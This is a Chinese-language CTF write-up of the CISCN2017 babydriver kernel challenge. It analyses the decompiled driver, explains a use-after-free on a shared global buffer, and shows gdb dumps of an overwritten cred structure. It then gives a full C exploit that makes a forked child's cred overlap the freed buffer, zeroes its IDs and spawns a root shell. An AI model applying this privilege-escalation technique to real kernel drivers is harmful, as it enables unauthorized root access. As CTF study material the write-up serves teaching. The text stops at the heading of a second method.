CISCN2017-babydriver

分析

把驱动拖进IDA查看

结构体babydevice_t
有两个变量buf和buf_len

1
2
3
4
5
6
7
00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000 ; XREF: .bss:babydev_struct/r
00000000 device_buf dq ? ; XREF: babyrelease+6/r
00000000 ; babyopen+26/w ... ; offset
00000008 device_buf_len dq ? ; XREF: babyopen+2D/w
00000008 ; babyioctl+3C/w ...
00000010 babydevice_t ends

babydriver_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl babydriver_init()
{
int v0; // edx
int v1; // ebx
class *v2; // rax
__int64 v3; // rax

if ( alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
cdev_0.owner = &_this_module;
v1 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v1 >= 0 )
{
v2 = _class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v2;
if ( v2 )
{
v3 = device_create(v2, 0LL, babydev_no, 0LL, "babydev");
v0 = 0;
if ( v3 )
return v0;
printk(byte_351, 0LL, 0LL);
class_destroy(babydev_class);
}
else
{
printk(byte_33B);
}
cdev_del(&cdev_0);
}
else
{
printk(byte_327);
}
unregister_chrdev_region(babydev_no, 1LL);
return v1;
}
printk(byte_309);
return 1;
}

alloc_chrdev_region 动态分配设备编号
cdev_init 初始化一个静态分配的cdev结构体变量
cdev_add 向Linux内核添加一个新的cdev结构体变量所描述的字符设备,并使这个设备立即可用
_class_create 动态创建设备的逻辑类,并完成部分字段的初始化,然后将其添加进Linux内核系统中
device_create 动态地创建逻辑设备,并对新的逻辑设备类进行相应的初始化,将其与此函数的第一个参数所代表的逻辑类关联起来,然后将此逻辑设备加到Linux内核系统的设备驱动程序模型中

然后使用if嵌套一旦有某一步发生错误就进行回滚到初始状态
设置/dev/babydev作为设备文件

babydriver_exit

1
2
3
4
5
6
7
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}

卸载设备,删除class,移除cdev结构体变量所描述的字符设备,删除一个字符设备区

babyrelease

1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}

参数inode和filp
inode即索引节点,filp是文件指针
每一个设备都对应一个inode,且共享一个inode;而filp文件指针每次打开一个设备都会创建一个新的文件指针以供操作
发生在关闭设备时,释放缓冲区

babyopen

1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}

申请空间,赋值buf_len=64

babyread

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}

read函数从内核往用户态读数据,判断babydev_struct.device_buf存在即将babydev_struct.device_buf中的数据赋值到buffer中,长度v4

babywrite

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}

write从用户往内核读数据,读到的babydev_struct.device_buf是一个全局变量,长度v4

babyioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx

_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
}
else
{
printk("\x013defalut:arg is %ld\n", v3);
}
}

ioctl是一个专用于设备输入输出操作的系统调用,该调用传入一个跟设备有关的请求码,系统调用的功能完全取决于请求码。用来定义一些无法归类的函数,通过特定的指令实现对应的操作。command需要是一个唯一的数字。
这里定义了若commmand为0x10001则释放device_buf,再分配一个指定size的内存空间,地址赋给device_buf

boot.sh

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

开启了smep保护,禁止内核访问用户空间代码

漏洞利用 第一种方法

babydev_struct是一个全局变量,程序中对其操作没有加锁,release时也只是将释放buf,没有清除指针,而驱动又是允许并发的,于是能够造出一个UAF的漏洞利用:建立两个驱动,这两个驱动实际上控制同一块内存,release其中一个,还可以通过另一个进行操作。

每次fork的时候会分配一个cred结构体,用来标明进程的权限,会将父进程的cred复制过来
cred结构体具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

同时ioctl能够控制buf_len的大小
如果控制其大小和结构体大小相同,释放掉buf,再使用fork创建子进程,那么分配到的cred就会是device_buf(kernel使用slab分配器分配堆块,类似fastbin先进先出),就可以利用uaf修改cred结构体的内容,将其中的uid改为0,即可将子进程提权,然后在子进程中打开shell即可。cred结构体大小是0xa8

调试

断点下到write附近
可以找到属于全局变量的结构体,分别为指向buf的指针和buf_len

1
2
3
gef➤  x/4gx 0xffffffffc0000108+0x23d0-8
0xffffffffc00024d0: 0xffff880000a64d80 0x00000000000000a8
0xffffffffc00024e0: 0x0000000000000000 0x0000000000000000

cred结构体

1
2
3
4
5
6
7
8
9
10
11
12
gef➤  x/25gx 0xffff880000a64d80
0xffff880000a64d80: 0x000003e800000002 0x000003e8000003e8
0xffff880000a64d90: 0x000003e8000003e8 0x000003e8000003e8
0xffff880000a64da0: 0x00000000000003e8 0x0000000000000000
0xffff880000a64db0: 0x0000000000000000 0x0000000000000000
0xffff880000a64dc0: 0x0000003fffffffff 0x0000000000000000
0xffff880000a64dd0: 0x0000000000000000 0x0000000000000000
0xffff880000a64de0: 0x0000000000000000 0x0000000000000000
0xffff880000a64df0: 0x0000000000000000 0xffff880002744cc0
0xffff880000a64e00: 0xffff880002796100 0xffffffff81e410c0
0xffff880000a64e10: 0xffff880000a66540 0x0000000000000000
0xffff880000a64e20: 0x0000000000000000 0x0000000000000000

执行write后将结构体前面的数据都覆盖为0,即修改了uid和gid
发现最少需要覆盖24个0进去可以提权

1
2
3
4
5
6
7
8
9
10
11
12
gef➤  x/25gx 0xffff880000a64d80
0xffff880000a64d80: 0x0000000000000000 0x0000000000000000
0xffff880000a64d90: 0x0000000000000000 0x000003e8000003e8
0xffff880000a64da0: 0x00000000000003e8 0x0000000000000000
0xffff880000a64db0: 0x0000000000000000 0x0000000000000000
0xffff880000a64dc0: 0x0000003fffffffff 0x0000000000000000
0xffff880000a64dd0: 0x0000000000000000 0x0000000000000000
0xffff880000a64de0: 0x0000000000000000 0x0000000000000000
0xffff880000a64df0: 0x0000000000000000 0xffff880002744cc0
0xffff880000a64e00: 0xffff880002796100 0xffffffff81e410c0
0xffff880000a64e10: 0xffff880000a66540 0x0000000000000000
0xffff880000a64e20: 0x0000000000000000 0x0000000000000000

exp1

当然是从网上抄的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);

// 释放 fd1
close(fd1);

// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}

else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30];
for (int i = 0; i < 30; i++)
zeros[i] = 0;
write(fd2, zeros, 24);

if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}

else
{
wait(NULL);
}
close(fd2);

return 0;
}
  • 需要静态编译,因为kernel里没有共享库什么的
  • 好像使用musl-gcc编译并去符号压缩一下体积会好一点
  • exp中父进程需要wait,让子进程操作
  • gdb使用gef插件,pwndbg非常的卡

漏洞利用 第二种方法

第一种方法非常的简单粗暴